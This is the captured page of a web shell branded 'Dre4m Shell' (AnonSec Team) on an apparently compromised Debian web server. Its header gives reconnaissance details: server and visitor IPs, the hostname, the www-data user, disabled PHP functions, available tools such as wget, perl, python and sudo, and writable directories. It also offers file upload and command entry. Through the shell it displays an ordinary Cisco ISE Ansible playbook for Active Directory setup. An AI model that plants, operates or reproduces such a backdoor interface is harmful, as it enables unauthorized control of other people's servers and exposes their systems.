Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.227.10.102
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/ansible_collections/cisco/ise/playbooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python3/dist-packages/ansible_collections/cisco/ise/playbooks/active_directory.yml
---
- hosts: ise_servers
  gather_facts: false
  tasks:
    # - name: Get active directory
    #   cisco.ise.active_directory_info:
    #     ise_hostname: "{{ ise_hostname }}"
    #     ise_username: "{{ ise_username }}"
    #     ise_password: "{{ ise_password }}"
    #     ise_verify: "{{ ise_verify }}"
    #     page: 1
    #     size: 1
    #   register: result

    # - name: Print Active Directories
    #   ansible.builtin.debug:
    #     var: result

    - name: Create or update active directory
      cisco.ise.active_directory:
        ise_hostname: "{{ ise_hostname }}"
        ise_username: "{{ ise_username }}"
        ise_password: "{{ ise_password }}"
        ise_verify: "{{ ise_verify }}"
        ise_debug: "{{ ise_debug }}"
        state: present
        name: cisco.com
        description: ""
        domain: cisco.com
        adgroups:
          groups:
            - name: cisco.com/operators
              sid: S-1-5-32-548
              type: GLOBAL
        advancedSettings:
          enablePassChange: true
          enableMachineAuth: true
          enableMachineAccess: true
          agingTime: 5
          enableDialinPermissionCheck: false
          enableCallbackForDialinClient: false
          plaintextAuth: false
          identityNotInAdBehaviour: SEARCH_JOINED_FOREST
          unreachableDomainsBehaviour: PROCEED
          enableRewrites: false
          rewriteRules:
            - rowId: 00
              rewriteMatch: host/[HOSTNAME].[DOMAIN]
              rewriteResult: host/[HOSTNAME].[DOMAIN]
            - rowId: 1
              rewriteMatch: host/[HOSTNAME]
              rewriteResult: host/[HOSTNAME]
            - rowId: 2
              rewriteMatch: "[DOMAIN]\\[IDENTITY]"
              rewriteResult: "[DOMAIN]\\[IDENTITY]"
            - rowId: 3
              rewriteMatch: "[IDENTITY]@[DOMAIN]"
              rewriteResult: "[IDENTITY]@[DOMAIN]"
            - rowId: 4
              rewriteMatch: "[IDENTITY]"
              rewriteResult: "[IDENTITY]"
          firstName: givenName
          department: department
          lastName: sn
          organizationalUnit: company
          jobTitle: title
          locality: l
          email: mail
          stateOrProvince: st
          telephone: telephoneNumber
          country: co
          streetAddress: streetAddress
          schema: ACTIVE_DIRECTORY
        adAttributes:
          attributes:
            - name: name1
              type: STRING
              defaultValue: defaultString
              internalName: internalName1
        adScopesNames: Default_Scope
      register: result

    - name: Print Active Directory
      ansible.builtin.debug:
        var: result

Anon7 - 2022
AnonSec Team